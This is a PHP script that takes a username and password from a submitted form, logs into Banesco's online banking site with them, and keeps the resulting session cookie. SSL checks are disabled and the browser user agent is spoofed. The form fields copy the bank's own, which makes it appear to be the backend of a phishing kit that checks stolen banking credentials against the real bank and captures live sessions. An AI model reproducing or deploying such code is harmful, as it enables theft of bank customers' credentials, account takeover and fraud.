<?php
function modHeaders($user = null, $pass = null, &$outbool = false, $data = null, $login = false, $login2 = false)
{
    global $cookie;

    $ch = curl_init();

    $url = ($user === null) ? '&Banco=01' : '';
    $rooturl = ($data === null) ? 'https://www.banesconline.com/mantis/CAU/inicio/inicio.aspx?svc=mantis' . $url : 'https://www.banesconline.com/mantis/Website/Inicio.aspx';

    $rooturl = ($login === true) ? 'https://www.banesconline.com/MANTIS/WEBSITE/default.aspx' : $rooturl;

    $rooturl = ($login2 === true) ? 'https://www.banesconline.com/MANTIS/WEBSITE/MensajeInicial/Default.aspx' : $rooturl;

    $referer = ($data === null) ? 'https://www.banesconline.com/mantis/Website/Login.aspx' : 'https://www.banesconline.com/MANTIS/CAU/inicio/inicio.aspx?svc=mantis&Banco=01';

    $referer = ($login === true) ? 'https://www.banesconline.com/MANTIS/CAU/inicio/inicio.aspx?svc=mantis&Banco=01' : $referer;

    curl_setopt($ch, CURLOPT_URL, $rooturl);
    curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
    curl_setopt($ch, CURLOPT_AUTOREFERER, false);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_REFERER, $referer);

    if ( ($user != null and $pass != null and !empty($cookie)) or ($data != null) or ($login === true or $login2 === true) )
    {
        if ($login === false and $login2 === false)
        {
            $postdata = '__VIEWSTATE=dDwxMjUwNjI4Nzg2OztsPGJBY2VwdGFyOz4%2B&txtBatUsuario=&ValidarVacio=%5E%24&ClaveFormato=%5E%5Ba-zA-Z0-9%5D%7B8%2C15%7D%24&UsuarioFormato=%5E%5Ba-zA-Z0-9_.%5D%7B4%2C10%7D%24&RangoUsuario=4%7C10&RangoClave=8%7C15&ErrorUsuario=Por+favor+indique+su+Usuario.&ErrorUsuarioInvalido=Usuario+inv%C3%A1lido.+Por+favor+verifique+e+intente+de+nuevo.&ErrorClaveAcceso=Por+favor+ingrese+la+clave+que+posee+para+acceder+a+los+servicios+de+Internet+de+BanescOnline&ErrorClaveAccesoInvalida=Clave+inv%C3%A1lida.+Por+favor+verifique+e+intente+de+nuevo.&ErrorDobleClick=Su+operaci%C3%B3n+est%C3%A1+en+proceso.+Por+favor%2C+espere+el+resultado+sin+presionar+nuevamente+el+bot%C3%B3n+Aceptar&txtUsuario='.$user.'&txtClave='.$pass.'&bAceptar.x=29&bAceptar.y=2';
            $postdata = ($data != null) ? '__VIEWSTATE=dDwxMjUwNjI4Nzg2OztsPGJBY2VwdGFyOz4%2B&' . $data . '&txtUsuario=' . $user . '&txtClave=' : $postdata;
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_setopt($ch, CURLOPT_COOKIE, 'ASP.NET_SessionId='.$cookie);
            $tmp = curl_exec($ch);

            if ($data != null)
            {
                if ( strrpos($tmp, '/MANTIS/WEBSITE/default.aspx') !== false )
                    $outbool = true;
                else
                    $outbool = false;
            }

            if ($data === null)
                if ( strrpos($tmp, '<script language=\'javascript\'> document.Inicio.action=\'../../WebSite/Inicio.aspx\';document.Inicio.submit(); </script>') !== false and strrpos($tmp, '<?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-15&quot;?>') !== false )
                    $outbool = true;
                else
                    $outbool = false;
        }
        else
        {
            curl_setopt($ch, CURLOPT_COOKIE, 'ASP.NET_SessionId='.$cookie);
            $tmp = curl_exec($ch);

            if ($login === true)
                if ( strrpos($tmp, '/MANTIS/WEBSITE/MensajeInicial/Default.aspx') !== false )
                    $outbool = true;
                else
                    $outbool = false;

        }
        return $tmp;
    }
    else
    {
        $tmp = curl_exec($ch);
        $app = 'Set-Cookie: ASP.NET_SessionId=';
        $tmp = explode($app, $tmp);
        $tmp = explode(';', $tmp[1]);
        $tmp = $tmp[0];
        $cookie = $tmp;
    }

    return $tmp;
    curl_close($ch);
}

$user = $_POST['txtUsuario'];
$pass = $_POST['txtClave'];

$outbool = false;
$_SESSION['magic_key'] = $cookie = modHeaders();
$html = modHeaders($user, $pass, $outbool);
?>